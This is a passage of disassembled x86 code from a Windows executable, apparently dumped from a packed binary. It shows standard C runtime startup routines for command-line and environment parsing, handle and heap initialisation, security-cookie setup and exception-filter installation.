pop edi
loc_41547B: ; CODE XREF: sub_41530F+1Aj
pop esi
leave
retn
sub_41530F endp
; =============== S U B R O U T I N E =======================================
sub_41547E proc near ; CODE XREF: sub_4107B2:loc_410728p
push esi
push edi
xor edi, edi
cmp dword_42601C, edi
jnz short loc_41548F
call sub_413264
loc_41548F: ; CODE XREF: sub_41547E+Aj
mov esi, dword_426028
test esi, esi
jnz short loc_41549E
mov esi, offset dword_41E020
loc_41549E: ; CODE XREF: sub_41547E+19j
; sub_41547E+4Bj
mov al, [esi]
cmp al, 20h
ja short loc_4154AC
test al, al
jz short loc_4154D6
test edi, edi
jz short loc_4154D0
loc_4154AC: ; CODE XREF: sub_41547E+24j
cmp al, 22h
jnz short loc_4154B9
xor ecx, ecx
test edi, edi
setz cl
mov edi, ecx
loc_4154B9: ; CODE XREF: sub_41547E+30j
movzx eax, al
push eax
call sub_41A245
test eax, eax
pop ecx
jz short loc_4154C8
inc esi
loc_4154C8: ; CODE XREF: sub_41547E+47j
inc esi
jmp short loc_41549E
; ---------------------------------------------------------------------------
loc_4154CB: ; CODE XREF: sub_41547E+56j
cmp al, 20h
ja short loc_4154D6
inc esi
loc_4154D0: ; CODE XREF: sub_41547E+2Cj
mov al, [esi]
test al, al
jnz short loc_4154CB
loc_4154D6: ; CODE XREF: sub_41547E+28j
; sub_41547E+4Fj
pop edi
mov eax, esi
pop esi
retn
sub_41547E endp
; =============== S U B R O U T I N E =======================================
sub_4154DB proc near ; CODE XREF: sub_4107B2:loc_410705p
push ebx
xor ebx, ebx
cmp dword_42601C, ebx
push esi
push edi
jnz short loc_4154ED
call sub_413264
loc_4154ED: ; CODE XREF: sub_4154DB+Bj
mov esi, dword_424394
xor edi, edi
cmp esi, ebx
jnz short loc_415511
loc_4154F9: ; CODE XREF: sub_4154DB+51j
or eax, 0FFFFFFFFh
jmp loc_41559C
; ---------------------------------------------------------------------------
loc_415501: ; CODE XREF: sub_4154DB+3Aj
cmp al, 3Dh
jz short loc_415506
inc edi
loc_415506: ; CODE XREF: sub_4154DB+28j
push esi
call sub_40D970
pop ecx
lea esi, [esi+eax+1]
loc_415511: ; CODE XREF: sub_4154DB+1Cj
mov al, [esi]
cmp al, bl
jnz short loc_415501
push 4
inc edi
push edi
call sub_412363
mov edi, eax
cmp edi, ebx
pop ecx
pop ecx
mov dword_4243D8, edi
jz short loc_4154F9
mov esi, dword_424394
push ebp
jmp short loc_415577
; ---------------------------------------------------------------------------
loc_415537: ; CODE XREF: sub_4154DB+9Ej
push esi
call sub_40D970
mov ebp, eax
inc ebp
cmp byte ptr [esi], 3Dh
pop ecx
jz short loc_415575
push 1
push ebp
call sub_412363
cmp eax, ebx
pop ecx
pop ecx
mov [edi], eax
jz short loc_4155A0
push esi
push ebp
push eax
call sub_410FB5
add esp, 0Ch
test eax, eax
jz short loc_415572
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DBDC
add esp, 14h
loc_415572: ; CODE XREF: sub_4154DB+88j
add edi, 4
loc_415575: ; CODE XREF: sub_4154DB+69j
add esi, ebp
loc_415577: ; CODE XREF: sub_4154DB+5Aj
cmp [esi], bl
jnz short loc_415537
push dword_424394
call sub_41112C
mov dword_424394, ebx
mov [edi], ebx
mov dword_426010, 1
xor eax, eax
loc_41559A: ; CODE XREF: sub_4154DB+D9j
pop ecx
pop ebp
loc_41559C: ; CODE XREF: sub_4154DB+21j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4155A0: ; CODE XREF: sub_4154DB+79j
push dword_4243D8
call sub_41112C
mov dword_4243D8, ebx
or eax, 0FFFFFFFFh
jmp short loc_41559A
sub_4154DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155B6 proc near ; CODE XREF: sub_41574E+55p
; sub_41574E+96p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_8]
push ebx
xor eax, eax
cmp [ebp+arg_0], eax
push esi
mov [edi], eax
mov esi, edx
mov edx, [ebp+arg_4]
mov dword ptr [ecx], 1
jz short loc_4155DC
mov ebx, [ebp+arg_0]
add [ebp+arg_0], 4
mov [ebx], edx
loc_4155DC: ; CODE XREF: sub_4155B6+1Bj
mov [ebp+var_4], eax
loc_4155DF: ; CODE XREF: sub_4155B6+7Ej
; sub_4155B6+88j
cmp byte ptr [esi], 22h
jnz short loc_4155F4
xor eax, eax
cmp [ebp+var_4], eax
mov bl, 22h
setz al
inc esi
mov [ebp+var_4], eax
jmp short loc_415630
; ---------------------------------------------------------------------------
loc_4155F4: ; CODE XREF: sub_4155B6+2Cj
inc dword ptr [edi]
test edx, edx
jz short loc_415602
mov al, [esi]
mov [edx], al
inc edx
mov [ebp+arg_4], edx
loc_415602: ; CODE XREF: sub_4155B6+42j
mov bl, [esi]
movzx eax, bl
push eax
inc esi
call sub_41A245
test eax, eax
pop ecx
jz short loc_415626
inc dword ptr [edi]
cmp [ebp+arg_4], 0
jz short loc_415625
mov ecx, [ebp+arg_4]
mov al, [esi]
inc [ebp+arg_4]
mov [ecx], al
loc_415625: ; CODE XREF: sub_4155B6+63j
inc esi
loc_415626: ; CODE XREF: sub_4155B6+5Bj
test bl, bl
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_8]
jz short loc_415662
loc_415630: ; CODE XREF: sub_4155B6+3Cj
cmp [ebp+var_4], 0
jnz short loc_4155DF
cmp bl, 20h
jz short loc_415640
cmp bl, 9
jnz short loc_4155DF
loc_415640: ; CODE XREF: sub_4155B6+83j
test edx, edx
jz short loc_415648
mov byte ptr [edx-1], 0
loc_415648: ; CODE XREF: sub_4155B6+8Cj
; sub_4155B6+ADj
and [ebp+var_4], 0
loc_41564C: ; CODE XREF: sub_4155B6+183j
cmp byte ptr [esi], 0
jz loc_41573E
loc_415655: ; CODE XREF: sub_4155B6+AAj
mov al, [esi]
cmp al, 20h
jz short loc_41565F
cmp al, 9
jnz short loc_415665
loc_41565F: ; CODE XREF: sub_4155B6+A3j
inc esi
jmp short loc_415655
; ---------------------------------------------------------------------------
loc_415662: ; CODE XREF: sub_4155B6+78j
dec esi
jmp short loc_415648
; ---------------------------------------------------------------------------
loc_415665: ; CODE XREF: sub_4155B6+A7j
cmp byte ptr [esi], 0
jz loc_41573E
cmp [ebp+arg_0], 0
jz short loc_41567D
mov eax, [ebp+arg_0]
add [ebp+arg_0], 4
mov [eax], edx
loc_41567D: ; CODE XREF: sub_4155B6+BCj
inc dword ptr [ecx]
loc_41567F: ; CODE XREF: sub_4155B6+16Ej
xor ebx, ebx
inc ebx
xor ecx, ecx
jmp short loc_415688
; ---------------------------------------------------------------------------
loc_415686: ; CODE XREF: sub_4155B6+D5j
inc esi
inc ecx
loc_415688: ; CODE XREF: sub_4155B6+CEj
cmp byte ptr [esi], 5Ch
jz short loc_415686
cmp byte ptr [esi], 22h
jnz short loc_4156B8
test cl, 1
jnz short loc_4156B6
cmp [ebp+var_4], 0
jz short loc_4156A9
lea eax, [esi+1]
cmp byte ptr [eax], 22h
jnz short loc_4156A9
mov esi, eax
jmp short loc_4156B6
; ---------------------------------------------------------------------------
loc_4156A9: ; CODE XREF: sub_4155B6+E5j
; sub_4155B6+EDj
xor eax, eax
xor ebx, ebx
cmp [ebp+var_4], eax
setz al
mov [ebp+var_4], eax
loc_4156B6: ; CODE XREF: sub_4155B6+DFj
; sub_4155B6+F1j
shr ecx, 1
loc_4156B8: ; CODE XREF: sub_4155B6+DAj
test ecx, ecx
jz short loc_4156CE
loc_4156BC: ; CODE XREF: sub_4155B6+113j
dec ecx
test edx, edx
jz short loc_4156C5
mov byte ptr [edx], 5Ch
inc edx
loc_4156C5: ; CODE XREF: sub_4155B6+109j
inc dword ptr [edi]
test ecx, ecx
jnz short loc_4156BC
mov [ebp+arg_4], edx
loc_4156CE: ; CODE XREF: sub_4155B6+104j
mov al, [esi]
test al, al
jz short loc_415729
cmp [ebp+var_4], 0
jnz short loc_4156E2
cmp al, 20h
jz short loc_415729
cmp al, 9
jz short loc_415729
loc_4156E2: ; CODE XREF: sub_4155B6+122j
test ebx, ebx
jz short loc_415723
test edx, edx
movsx eax, al
push eax
jz short loc_415711
call sub_41A245
test eax, eax
pop ecx
jz short loc_415705
mov al, [esi]
mov ecx, [ebp+arg_4]
inc [ebp+arg_4]
mov [ecx], al
inc esi
inc dword ptr [edi]
loc_415705: ; CODE XREF: sub_4155B6+140j
mov ecx, [ebp+arg_4]
mov al, [esi]
inc [ebp+arg_4]
mov [ecx], al
jmp short loc_41571E
; ---------------------------------------------------------------------------
loc_415711: ; CODE XREF: sub_4155B6+136j
call sub_41A245
test eax, eax
pop ecx
jz short loc_41571E
inc esi
inc dword ptr [edi]
loc_41571E: ; CODE XREF: sub_4155B6+159j
; sub_4155B6+163j
inc dword ptr [edi]
mov edx, [ebp+arg_4]
loc_415723: ; CODE XREF: sub_4155B6+12Ej
inc esi
jmp loc_41567F
; ---------------------------------------------------------------------------
loc_415729: ; CODE XREF: sub_4155B6+11Cj
; sub_4155B6+126j ...
test edx, edx
jz short loc_415734
mov byte ptr [edx], 0
inc edx
mov [ebp+arg_4], edx
loc_415734: ; CODE XREF: sub_4155B6+175j
inc dword ptr [edi]
mov ecx, [ebp+arg_8]
jmp loc_41564C
; ---------------------------------------------------------------------------
loc_41573E: ; CODE XREF: sub_4155B6+99j
; sub_4155B6+B2j
mov eax, [ebp+arg_0]
test eax, eax
pop esi
pop ebx
jz short loc_41574A
and dword ptr [eax], 0
loc_41574A: ; CODE XREF: sub_4155B6+18Fj
inc dword ptr [ecx]
leave
retn
sub_4155B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41574E proc near ; CODE XREF: sub_4107B2-BEp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
xor ebx, ebx
cmp dword_42601C, ebx
push esi
push edi
jnz short loc_415766
call sub_413264
loc_415766: ; CODE XREF: sub_41574E+11j
push 104h
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push esi
push ebx
mov byte_424874, bl
call dword_41C0C0 ; GetModuleFileNameA
mov eax, dword_426028
cmp eax, ebx
mov off_4243E8, esi
jz short loc_415794
cmp [eax], bl
mov [ebp+var_4], eax
jnz short loc_415797
loc_415794: ; CODE XREF: sub_41574E+3Dj
mov [ebp+var_4], esi
loc_415797: ; CODE XREF: sub_41574E+44j
mov edx, [ebp+var_4]
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
lea edi, [ebp+var_C]
call sub_4155B6
mov eax, [ebp+var_8]
add esp, 0Ch
cmp eax, 3FFFFFFFh
jnb short loc_4157FF
mov ecx, [ebp+var_C]
cmp ecx, 0FFFFFFFFh
jnb short loc_4157FF
mov edi, eax
shl edi, 2
lea eax, [edi+ecx]
cmp eax, ecx
jb short loc_4157FF
push eax
call sub_412323
mov esi, eax
cmp esi, ebx
pop ecx
jz short loc_4157FF
mov edx, [ebp+var_4]
lea eax, [ebp+var_8]
push eax
add edi, esi
push edi
push esi
lea edi, [ebp+var_C]
call sub_4155B6
mov eax, [ebp+var_8]
add esp, 0Ch
dec eax
mov dword_4243CC, eax
mov dword_4243D0, esi
xor eax, eax
jmp short loc_415802
; ---------------------------------------------------------------------------
loc_4157FF: ; CODE XREF: sub_41574E+65j
; sub_41574E+6Dj ...
or eax, 0FFFFFFFFh
loc_415802: ; CODE XREF: sub_41574E+AFj
pop edi
pop esi
pop ebx
leave
retn
sub_41574E endp
; =============== S U B R O U T I N E =======================================
sub_415807 proc near ; CODE XREF: sub_4107B2-C8p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_424878
push ebx
push ebp
push esi
push edi
mov edi, dword_41C198
xor ebx, ebx
xor esi, esi
cmp eax, ebx
push 2
pop ebp
jnz short loc_415850
call edi ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_415837
mov dword_424878, 1
jmp short loc_415859
; ---------------------------------------------------------------------------
loc_415837: ; CODE XREF: sub_415807+22j
call dword_41C0A4 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_41584B
mov eax, ebp
mov dword_424878, eax
jmp short loc_415850
; ---------------------------------------------------------------------------
loc_41584B: ; CODE XREF: sub_415807+39j
mov eax, dword_424878
loc_415850: ; CODE XREF: sub_415807+1Aj
; sub_415807+42j
cmp eax, 1
jnz loc_4158DD
loc_415859: ; CODE XREF: sub_415807+2Ej
cmp esi, ebx
jnz short loc_41586C
call edi ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jnz short loc_41586C
loc_415865: ; CODE XREF: sub_415807+DCj
; sub_415807+E8j ...
xor eax, eax
jmp loc_415935
; ---------------------------------------------------------------------------
loc_41586C: ; CODE XREF: sub_415807+54j
; sub_415807+5Cj
cmp [esi], bx
mov eax, esi
jz short loc_415881
loc_415873: ; CODE XREF: sub_415807+71j
; sub_415807+78j
add eax, ebp
cmp [eax], bx
jnz short loc_415873
add eax, ebp
cmp [eax], bx
jnz short loc_415873
loc_415881: ; CODE XREF: sub_415807+6Aj
mov edi, dword_41C170
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_4158D2
push ebp
call sub_412323
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_4158D2
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_4158CE
push [esp+18h+var_8]
call sub_41112C
pop ecx
mov [esp+18h+var_8], ebx
loc_4158CE: ; CODE XREF: sub_415807+B7j
mov ebx, [esp+18h+var_8]
loc_4158D2: ; CODE XREF: sub_415807+97j
; sub_415807+A6j
push esi
call dword_41C194 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_415935
; ---------------------------------------------------------------------------
loc_4158DD: ; CODE XREF: sub_415807+4Cj
cmp eax, ebp
jz short loc_4158E5
cmp eax, ebx
jnz short loc_415865
loc_4158E5: ; CODE XREF: sub_415807+D8j
call dword_41C190 ; GetEnvironmentStringsA
mov esi, eax
cmp esi, ebx
jz loc_415865
cmp [esi], bl
jz short loc_415903
loc_4158F9: ; CODE XREF: sub_415807+F5j
; sub_415807+FAj
inc eax
cmp [eax], bl
jnz short loc_4158F9
inc eax
cmp [eax], bl
jnz short loc_4158F9
loc_415903: ; CODE XREF: sub_415807+F0j
sub eax, esi
inc eax
mov ebp, eax
push ebp
call sub_412323
mov edi, eax
cmp edi, ebx
pop ecx
jnz short loc_415921
push esi
call dword_41C18C ; FreeEnvironmentStringsA
jmp loc_415865
; ---------------------------------------------------------------------------
loc_415921: ; CODE XREF: sub_415807+10Cj
push ebp
push esi
push edi
call sub_410050
add esp, 0Ch
push esi
call dword_41C18C ; FreeEnvironmentStringsA
mov eax, edi
loc_415935: ; CODE XREF: sub_415807+60j
; sub_415807+D4j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_415807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41593C proc near ; CODE XREF: sub_4107B2-E4p
var_64 = byte ptr -64h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 54h
push offset dword_41FB38
call __SEH_prolog4
xor edi, edi
mov [ebp+ms_exc.disabled], edi
lea eax, [ebp+var_64]
push eax
call dword_41C0A0 ; GetStartupInfoA
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
push 28h
push 20h
pop esi
push esi
call sub_412363
pop ecx
pop ecx
cmp eax, edi
jz loc_415B73
mov dword_424EE0, eax
mov dword_424EC8, esi
lea ecx, [eax+500h]
jmp short loc_4159AF
; ---------------------------------------------------------------------------
loc_415986: ; CODE XREF: sub_41593C+75j
mov byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov [eax+8], edi
mov byte ptr [eax+24h], 0
mov byte ptr [eax+25h], 0Ah
mov byte ptr [eax+26h], 0Ah
add eax, 28h
mov ecx, dword_424EE0
add ecx, 500h
loc_4159AF: ; CODE XREF: sub_41593C+48j
cmp eax, ecx
jb short loc_415986
cmp [ebp+var_32], di
jz loc_415ABA
mov eax, [ebp+var_30]
cmp eax, edi
jz loc_415ABA
mov edi, [eax]
lea ebx, [eax+4]
lea eax, [ebx+edi]
mov [ebp+var_1C], eax
mov eax, 800h
cmp edi, eax
jl short loc_4159DE
mov edi, eax
loc_4159DE: ; CODE XREF: sub_41593C+9Ej
xor esi, esi
inc esi
jmp short loc_415A35
; ---------------------------------------------------------------------------
loc_4159E3: ; CODE XREF: sub_41593C+FFj
push 28h
push 20h
call sub_412363
pop ecx
pop ecx
test eax, eax
jz short loc_415A3F
lea ecx, ds:424EE0h[esi*4]
mov [ecx], eax
add dword_424EC8, 20h
lea edx, [eax+500h]
jmp short loc_415A30
; ---------------------------------------------------------------------------
loc_415A0A: ; CODE XREF: sub_41593C+F6j
mov byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
and dword ptr [eax+8], 0
and byte ptr [eax+24h], 80h
mov byte ptr [eax+25h], 0Ah
mov byte ptr [eax+26h], 0Ah
add eax, 28h
mov edx, [ecx]
add edx, 500h
loc_415A30: ; CODE XREF: sub_41593C+CCj
cmp eax, edx
jb short loc_415A0A
inc esi
loc_415A35: ; CODE XREF: sub_41593C+A5j
cmp dword_424EC8, edi
jl short loc_4159E3
jmp short loc_415A45
; ---------------------------------------------------------------------------
loc_415A3F: ; CODE XREF: sub_41593C+B4j
mov edi, dword_424EC8
loc_415A45: ; CODE XREF: sub_41593C+101j
and [ebp+var_20], 0
test edi, edi
jle short loc_415ABA
loc_415A4D: ; CODE XREF: sub_41593C+17Cj
mov eax, [ebp+var_1C]
mov ecx, [eax]
cmp ecx, 0FFFFFFFFh
jz short loc_415AAD
cmp ecx, 0FFFFFFFEh
jz short loc_415AAD
mov al, [ebx]
test al, 1
jz short loc_415AAD
test al, 8
jnz short loc_415A71
push ecx
call dword_41C1A0 ; GetFileType
test eax, eax
jz short loc_415AAD
loc_415A71: ; CODE XREF: sub_41593C+128j
mov esi, [ebp+var_20]
mov eax, esi
sar eax, 5
and esi, 1Fh
imul esi, 28h
add esi, dword_424EE0[eax*4]
mov eax, [ebp+var_1C]
mov eax, [eax]
mov [esi], eax
mov al, [ebx]
mov [esi+4], al
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_4182CC
pop ecx
pop ecx
test eax, eax
jz loc_415B73
inc dword ptr [esi+8]
loc_415AAD: ; CODE XREF: sub_41593C+119j
; sub_41593C+11Ej ...
inc [ebp+var_20]
inc ebx
add [ebp+var_1C], 4
cmp [ebp+var_20], edi
jl short loc_415A4D
loc_415ABA: ; CODE XREF: sub_41593C+7Bj
; sub_41593C+86j ...
xor ebx, ebx
loc_415ABC: ; CODE XREF: sub_41593C+213j
mov esi, ebx
imul esi, 28h
add esi, dword_424EE0
mov eax, [esi]
cmp eax, 0FFFFFFFFh
jz short loc_415AD9
cmp eax, 0FFFFFFFEh
jz short loc_415AD9
or byte ptr [esi+4], 80h
jmp short loc_415B4B
; ---------------------------------------------------------------------------
loc_415AD9: ; CODE XREF: sub_41593C+190j
; sub_41593C+195j
mov byte ptr [esi+4], 81h
test ebx, ebx
jnz short loc_415AE6
push 0FFFFFFF6h
pop eax
jmp short loc_415AF0
; ---------------------------------------------------------------------------
loc_415AE6: ; CODE XREF: sub_41593C+1A3j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_415AF0: ; CODE XREF: sub_41593C+1A8j
push eax
call dword_41C180 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_415B41
test edi, edi
jz short loc_415B41
push edi
call dword_41C1A0 ; GetFileType
test eax, eax
jz short loc_415B41
mov [esi], edi
and eax, 0FFh
cmp eax, 2
jnz short loc_415B1F
or byte ptr [esi+4], 40h
jmp short loc_415B28
; ---------------------------------------------------------------------------
loc_415B1F: ; CODE XREF: sub_41593C+1DBj
cmp eax, 3
jnz short loc_415B28
or byte ptr [esi+4], 8
loc_415B28: ; CODE XREF: sub_41593C+1E1j
; sub_41593C+1E6j
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_4182CC
pop ecx
pop ecx
test eax, eax
jz short loc_415B73
inc dword ptr [esi+8]
jmp short loc_415B4B
; ---------------------------------------------------------------------------
loc_415B41: ; CODE XREF: sub_41593C+1C0j
; sub_41593C+1C4j ...
or byte ptr [esi+4], 40h
mov dword ptr [esi], 0FFFFFFFEh
loc_415B4B: ; CODE XREF: sub_41593C+19Bj
; sub_41593C+203j
inc ebx
cmp ebx, 3
jl loc_415ABC
push dword_424EC8
call dword_41C19C ; SetHandleCount
xor eax, eax
jmp short loc_415B76
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
loc_415B73: ; CODE XREF: sub_41593C+31j
; sub_41593C+168j ...
or eax, 0FFFFFFFFh
loc_415B76: ; CODE XREF: sub_41593C+227j
call __SEH_epilog4
retn
sub_41593C endp
; =============== S U B R O U T I N E =======================================
sub_415B7C proc near ; CODE XREF: sub_4107B2:loc_4106C6p
push esi
push edi
mov eax, offset dword_41F840
mov edi, offset dword_41F840
cmp eax, edi
mov esi, eax
jnb short loc_415B9D
loc_415B8E: ; CODE XREF: sub_415B7C+1Fj
mov eax, [esi]
test eax, eax
jz short loc_415B96
call eax
loc_415B96: ; CODE XREF: sub_415B7C+16j
add esi, 4
cmp esi, edi
jb short loc_415B8E
loc_415B9D: ; CODE XREF: sub_415B7C+10j
pop edi
pop esi
retn
sub_415B7C endp
; =============== S U B R O U T I N E =======================================
sub_415BA0 proc near ; DATA XREF: sub_4125B5+3Fo
push esi
push edi
mov eax, offset dword_41F848
mov edi, offset dword_41F848
cmp eax, edi
mov esi, eax
jnb short loc_415BC1
loc_415BB2: ; CODE XREF: sub_415BA0+1Fj
mov eax, [esi]
test eax, eax
jz short loc_415BBA
call eax
loc_415BBA: ; CODE XREF: sub_415BA0+16j
add esi, 4
cmp esi, edi
jb short loc_415BB2
loc_415BC1: ; CODE XREF: sub_415BA0+10j
pop edi
pop esi
retn
sub_415BA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BC4 proc near ; CODE XREF: sub_415C1F:loc_415C42p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp+var_4]
xor esi, esi
push eax
mov [ebp+var_4], esi
mov [ebp+var_8], esi
call sub_412542
test eax, eax
pop ecx
jz short loc_415BED
push esi
push esi
push esi
push esi
push esi
call sub_40DBDC
add esp, 14h
loc_415BED: ; CODE XREF: sub_415BC4+1Aj
lea eax, [ebp+var_8]
push eax
call sub_412579
test eax, eax
pop ecx
jz short loc_415C08
push esi
push esi
push esi
push esi
push esi
call sub_40DBDC
add esp, 14h
loc_415C08: ; CODE XREF: sub_415BC4+35j
cmp [ebp+var_4], 2
pop esi
jnz short loc_415C1A
cmp [ebp+var_8], 5
jb short loc_415C1A
xor eax, eax
inc eax
leave
retn
; ---------------------------------------------------------------------------
loc_415C1A: ; CODE XREF: sub_415BC4+49j
; sub_415BC4+4Fj
push 3
pop eax
leave
retn
sub_415BC4 endp
; =============== S U B R O U T I N E =======================================
sub_415C1F proc near ; CODE XREF: sub_4107B2-10Fp
arg_0 = dword ptr 4
xor eax, eax
cmp [esp+arg_0], eax
push 0
setz al
push 1000h
push eax
call dword_41C1A8 ; HeapCreate
test eax, eax
mov dword_42487C, eax
jnz short loc_415C42
loc_415C3F: ; CODE XREF: sub_415C1F+54j
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_415C42: ; CODE XREF: sub_415C1F+1Ej
call sub_415BC4
cmp eax, 3
mov dword_424EC4, eax
jnz short loc_415C75
push 3F8h
call sub_416DD7
test eax, eax
pop ecx
jnz short loc_415C75
push dword_42487C
call dword_41C1A4 ; HeapDestroy
and dword_42487C, 0
jmp short loc_415C3F
; ---------------------------------------------------------------------------
loc_415C75: ; CODE XREF: sub_415C1F+30j
; sub_415C1F+3Fj
xor eax, eax
inc eax
retn
sub_415C1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C79 proc near ; CODE XREF: sub_4107B2p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword_4231C4
and [ebp+var_8], 0
and [ebp+var_4], 0
push ebx
push edi
mov edi, 0BB40E64Eh
cmp eax, edi
mov ebx, 0FFFF0000h
jz short loc_415CA9
test eax, ebx
jz short loc_415CA9
not eax
mov dword_4231C8, eax
jmp short loc_415D09
; ---------------------------------------------------------------------------
loc_415CA9: ; CODE XREF: sub_415C79+21j
; sub_415C79+25j
push esi
lea eax, [ebp+var_8]
push eax
call dword_41C118 ; GetSystemTimeAsFileTime
mov esi, [ebp+var_4]
xor esi, [ebp+var_8]
call dword_41C0E8 ; GetCurrentProcessId
xor esi, eax
call dword_41C120 ; GetCurrentThreadId
xor esi, eax
call dword_41C058 ; GetTickCount
xor esi, eax
lea eax, [ebp+var_10]
push eax
call dword_41C0EC ; QueryPerformanceCounter
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor esi, eax
cmp esi, edi
jnz short loc_415CEF
mov esi, 0BB40E64Fh
jmp short loc_415CFA
; ---------------------------------------------------------------------------
loc_415CEF: ; CODE XREF: sub_415C79+6Dj
test esi, ebx
jnz short loc_415CFA
mov eax, esi
shl eax, 10h
or esi, eax
loc_415CFA: ; CODE XREF: sub_415C79+74j
; sub_415C79+78j
mov dword_4231C4, esi
not esi
mov dword_4231C8, esi
pop esi
loc_415D09: ; CODE XREF: sub_415C79+2Ej
pop edi
pop ebx
leave
retn
sub_415C79 endp
; =============== S U B R O U T I N E =======================================
sub_415D0D proc near ; DATA XREF: sub_415D79o
; .vty:004231A4o
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
mov eax, [edi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_415D46
cmp dword ptr [eax+10h], 3
jnz short loc_415D46
mov eax, [eax+14h]
cmp eax, 19930520h
jz short loc_415D41
cmp eax, 19930521h
jz short loc_415D41
cmp eax, 19930522h
jz short loc_415D41
cmp eax, 1994000h
jnz short loc_415D46
loc_415D41: ; CODE XREF: sub_415D0D+1Dj
; sub_415D0D+24j ...
call sub_416A48
loc_415D46: ; CODE XREF: sub_415D0D+Dj
; sub_415D0D+13j ...
cmp byte_424884, 0
push esi
jz short loc_415D72
push dword_424880
call sub_411DBF
mov esi, eax
test esi, esi
pop ecx
jz short loc_415D72
push esi
call sub_41A258
test eax, eax
pop ecx
jz short loc_415D72
push edi
call esi
jmp short loc_415D74
; ---------------------------------------------------------------------------
loc_415D72: ; CODE XREF: sub_415D0D+41j
; sub_415D0D+53j ...
xor eax, eax
loc_415D74: ; CODE XREF: sub_415D0D+63j
pop esi
pop edi
retn 4
sub_415D0D endp
; =============== S U B R O U T I N E =======================================
sub_415D79 proc near ; DATA XREF: .vty:0041C240o
push offset sub_415D0D
call dword_41C110 ; SetUnhandledExceptionFilter
push eax
call sub_411D53
mov dword_424880, eax
pop ecx
mov byte_424884, 1
xor eax, eax
retn
sub_415D79 endp
; =============== S U B R O U T I N E =======================================
sub_415D9A proc near ; DATA XREF: .vty:0041C25Co
cmp byte_424884, 0
jz short locret_415DBD
push dword_424880
call sub_411DBF
pop ecx
push eax
call dword_41C110 ; SetUnhandledExceptionFilter
mov byte_424884, 0
locret_415DBD: ; CODE XREF: sub_415D9A+7j
retn
sub_415D9A endp
; =============== S U B R O U T I N E =======================================
sub_415DBE proc near ; DATA XREF: .vty:0041FC60o
mov dword ptr [ecx], offset off_41CE04
jmp sub_40D931
sub_415DBE endp
; ---------------------------------------------------------------------------
loc_415DC9: ; DATA XREF: .vty:off_41CE04o
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41CE04
call sub_40D931
test byte ptr [esp+8], 1
jz short loc_415DE5
push esi
call sub_40DD8A
pop ecx
loc_415DE5: ; CODE XREF: .vty:00415DDCj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_415DEB proc near ; CODE XREF: sub_41602A+4Ep
; sub_4165F6+21Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_415E41
lea edx, [eax+8]
cmp byte ptr [edx], 0
jz short loc_415E41
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_415E1F
add ecx, 8
push ecx
push edx
call sub_40FAB0
test eax, eax
pop ecx
pop ecx
jz short loc_415E1F
loc_415E1B: ; CODE XREF: sub_415DEB+3Cj
; sub_415DEB+4Bj ...
xor eax, eax
jmp short loc_415E44
; ---------------------------------------------------------------------------
loc_415E1F: ; CODE XREF: sub_415DEB+1Ej
; sub_415DEB+2Ej
test byte ptr [esi], 2
jz short loc_415E29
